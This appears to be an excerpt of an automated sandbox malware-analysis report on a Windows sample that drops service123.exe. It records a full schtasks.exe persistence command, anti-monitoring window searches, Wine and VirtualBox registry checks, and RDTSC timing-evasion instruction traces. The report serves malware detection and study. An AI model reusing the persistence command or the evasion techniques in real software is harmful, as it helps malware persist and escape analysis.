Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C1106A2 push eax; mov dword ptr [esp], ebx 8_2_6C1106DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C1286A1 push 890005EAh; ret 8_2_6C1286A9
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C1106A6 push eax; mov dword ptr [esp], ebx 8_2_6C1106DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C1166F3 push edx; mov dword ptr [esp], ebx 8_2_6C116707
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C1106FD push eax; mov dword ptr [esp], ebx 8_2_6C1106DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C11070E push eax; mov dword ptr [esp], ebx 8_2_6C1106DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C11A777 push eax; mov dword ptr [esp], ebx 8_2_6C11A78B
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C120042 push eax; mov dword ptr [esp], ebx 8_2_6C120056
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C0EE0D0 push eax; mov dword ptr [esp], ebx 8_2_6C1A6AF6
Source: file.exe Static PE information: section name: ozcvkfvj entropy: 7.954744975540035
Drops PE files
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\unmYCIPOHmXNjqOesrEy.dll Jump to dropped file
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\service123.exe Jump to dropped file

Boot Survival
barindex
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Source: C:\Users\user\Desktop\file.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: Regmonclass Jump to behavior
Uses schtasks.exe or at.exe to add and modify task schedules
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Found evasive API chain (may stop execution after checking mutex)
Source: C:\Users\user\AppData\Local\Temp\service123.exe Evasive API call chain: CreateMutex,DecisionNodes,Sleep
Found stalling execution ending in API Sleep call
Source: C:\Users\user\AppData\Local\Temp\service123.exe Stalling execution: Execution stalls by calling Sleep
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Source: C:\Users\user\Desktop\file.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 103ECB2 second address: 103ECBC instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F1CE4D7C496h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 103F0B0 second address: 103F0D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edi 0x00000006 pushad 0x00000007 push ebx 0x00000008 push edi 0x00000009 pop edi 0x0000000a jmp 00007F1CE475F125h 0x0000000f pop ebx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10419AD second address: 10419D5 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F1CE4D7C498h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F1CE4D7C4A9h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10419D5 second address: 1041A28 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F1CE475F11Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jmp 00007F1CE475F11Dh 0x00000013 mov eax, dword ptr [eax] 0x00000015 jmp 00007F1CE475F127h 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e push eax 0x0000001f push edx 0x00000020 push esi 0x00000021 jmp 00007F1CE475F121h 0x00000026 pop esi 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1041A75 second address: 1041AAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 jmp 00007F1CE4D7C49Eh 0x0000000c nop 0x0000000d mov dword ptr [ebp+122D2576h], ebx 0x00000013 push 00000000h 0x00000015 mov edx, ebx 0x00000017 push 9C106EF2h 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F1CE4D7C49Eh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1041AAA second address: 1041AB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1041AB0 second address: 1041B0D instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F1CE4D7C496h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c add dword ptr [esp], 63EF918Eh 0x00000013 pushad 0x00000014 push edi 0x00000015 pushad 0x00000016 popad 0x00000017 pop esi 0x00000018 mov dword ptr [ebp+122D1BB8h], edx 0x0000001e popad 0x0000001f push 00000003h 0x00000021 push 00000000h 0x00000023 push edx 0x00000024 call 00007F1CE4D7C498h 0x00000029 pop edx 0x0000002a mov dword ptr [esp+04h], edx 0x0000002e add dword ptr [esp+04h], 00000016h 0x00000036 inc edx 0x00000037 push edx 0x00000038 ret 0x00000039 pop edx 0x0000003a ret 0x0000003b jl 00007F1CE4D7C49Ch 0x00000041 sub edx, dword ptr [ebp+122D2EB7h] 0x00000047 push 00000000h 0x00000049 mov dx, bx 0x0000004c push 00000003h 0x0000004e cmc 0x0000004f push 4BFE03B7h 0x00000054 push eax 0x00000055 push edx 0x00000056 pushad 0x00000057 push eax 0x00000058 push edx 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1041B0D second address: 1041B14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1041C9C second address: 1041CA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1041CA1 second address: 1041CB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1CE475F121h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1041DAA second address: 1041DDB instructions: 0x00000000 rdtsc 0x00000002 jne 00007F1CE4D7C496h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a add dword ptr [esp], 10B1FD16h 0x00000011 push edi 0x00000012 cld 0x00000013 pop esi 0x00000014 push eax 0x00000015 movsx ecx, bx 0x00000018 pop edx 0x00000019 lea ebx, dword ptr [ebp+124508A0h] 0x0000001f xor edi, 443FD8D7h 0x00000025 push eax 0x00000026 je 00007F1CE4D7C4A0h 0x0000002c pushad 0x0000002d pushad 0x0000002e popad 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1021865 second address: 102186A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1062588 second address: 1062593 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F1CE4D7C496h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1062593 second address: 10625A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1CE475F11Eh 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10625A8 second address: 10625E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007F1CE4D7C4BDh 0x0000000b jmp 00007F1CE4D7C4A2h 0x00000010 jmp 00007F1CE4D7C4A5h 0x00000015 pop edx 0x00000016 pop eax 0x00000017 pushad 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10625E0 second address: 1062616 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 je 00007F1CE475F116h 0x0000000c push edi 0x0000000d pop edi 0x0000000e popad 0x0000000f jnp 00007F1CE475F12Ah 0x00000015 jmp 00007F1CE475F122h 0x0000001a pushad 0x0000001b popad 0x0000001c push ecx 0x0000001d js 00007F1CE475F116h 0x00000023 pop ecx 0x00000024 pushad 0x00000025 pushad 0x00000026 popad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 106276B second address: 1062771 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10631F2 second address: 10631FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10631FA second address: 1063205 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F1CE4D7C496h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1063205 second address: 1063220 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1CE475F120h 0x00000008 jnc 00007F1CE475F116h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1063220 second address: 1063250 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d pop eax 0x0000000e jo 00007F1CE4D7C496h 0x00000014 pushad 0x00000015 popad 0x00000016 jmp 00007F1CE4D7C4A9h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1063250 second address: 1063277 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE475F129h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F1CE475F11Ah 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 106A939 second address: 106A98B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 pushad 0x00000009 push ebx 0x0000000a je 00007F1CE4D7C496h 0x00000010 pop ebx 0x00000011 jmp 00007F1CE4D7C4A7h 0x00000016 popad 0x00000017 mov eax, dword ptr [esp+04h] 0x0000001b pushad 0x0000001c push eax 0x0000001d jmp 00007F1CE4D7C49Eh 0x00000022 pop eax 0x00000023 pushad 0x00000024 jnl 00007F1CE4D7C496h 0x0000002a pushad 0x0000002b popad 0x0000002c popad 0x0000002d popad 0x0000002e mov eax, dword ptr [eax] 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 push ecx 0x00000034 pop ecx 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 106A98B second address: 106A990 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 106A990 second address: 106A995 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 106AB29 second address: 106AB2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 106AB2D second address: 106AB32 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 106DF5A second address: 106DF7A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F1CE475F11Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebx 0x0000000c pushad 0x0000000d push ebx 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 pop ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 push edi 0x00000016 pop edi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 106DF7A second address: 106DF86 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 106E680 second address: 106E685 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 106E685 second address: 106E68A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1070F1C second address: 1070F21 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10710EA second address: 1071100 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1CE4D7C49Ch 0x00000008 jnp 00007F1CE4D7C496h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1071100 second address: 1071107 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1071399 second address: 107139D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10718BB second address: 10718BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10718BF second address: 10718C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10718C5 second address: 10718CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F1CE475F116h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10718CF second address: 107190E instructions: 0x00000000 rdtsc 0x00000002 jp 00007F1CE4D7C496h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], ebx 0x0000000f push 00000000h 0x00000011 push eax 0x00000012 call 00007F1CE4D7C498h 0x00000017 pop eax 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c add dword ptr [esp+04h], 0000001Dh 0x00000024 inc eax 0x00000025 push eax 0x00000026 ret 0x00000027 pop eax 0x00000028 ret 0x00000029 nop 0x0000002a js 00007F1CE4D7C4ABh 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 pop eax 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1071DEA second address: 1071DF6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1072B9D second address: 1072BF5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE4D7C4A4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d and edi, 42157BB7h 0x00000013 push 00000000h 0x00000015 push esi 0x00000016 mov edi, edx 0x00000018 pop edi 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push eax 0x0000001e call 00007F1CE4D7C498h 0x00000023 pop eax 0x00000024 mov dword ptr [esp+04h], eax 0x00000028 add dword ptr [esp+04h], 00000019h 0x00000030 inc eax 0x00000031 push eax 0x00000032 ret 0x00000033 pop eax 0x00000034 ret 0x00000035 je 00007F1CE4D7C497h 0x0000003b stc 0x0000003c xchg eax, ebx 0x0000003d push ecx 0x0000003e push eax 0x0000003f push edx 0x00000040 push ecx 0x00000041 pop ecx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1072A85 second address: 1072A89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1072A89 second address: 1072A8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1073444 second address: 107344A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10777CD second address: 10777DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F1CE4D7C496h 0x0000000a js 00007F1CE4D7C496h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1077DA9 second address: 1077DAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10787F3 second address: 107888C instructions: 0x00000000 rdtsc 0x00000002 jg 00007F1CE4D7C496h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push eax 0x00000011 call 00007F1CE4D7C498h 0x00000016 pop eax 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b add dword ptr [esp+04h], 00000015h 0x00000023 inc eax 0x00000024 push eax 0x00000025 ret 0x00000026 pop eax 0x00000027 ret 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push eax 0x0000002d call 00007F1CE4D7C498h 0x00000032 pop eax 0x00000033 mov dword ptr [esp+04h], eax 0x00000037 add dword ptr [esp+04h], 00000019h 0x0000003f inc eax 0x00000040 push eax 0x00000041 ret 0x00000042 pop eax 0x00000043 ret 0x00000044 jmp 00007F1CE4D7C4A2h 0x00000049 push 00000000h 0x0000004b push 00000000h 0x0000004d push esi 0x0000004e call 00007F1CE4D7C498h 0x00000053 pop esi 0x00000054 mov dword ptr [esp+04h], esi 0x00000058 add dword ptr [esp+04h], 0000001Ch 0x00000060 inc esi 0x00000061 push esi 0x00000062 ret 0x00000063 pop esi 0x00000064 ret 0x00000065 xchg eax, ebx 0x00000066 push eax 0x00000067 push edx 0x00000068 jmp 00007F1CE4D7C4A0h 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1076514 second address: 1076518 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1076518 second address: 107652E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F1CE4D7C498h 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 107652E second address: 107653F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE475F11Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 107653F second address: 1076544 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 107CA0A second address: 107CA1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 pushad 0x00000008 js 00007F1CE475F11Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 107CA1A second address: 107CA26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jne 00007F1CE4D7C496h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 107CA26 second address: 107CA2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
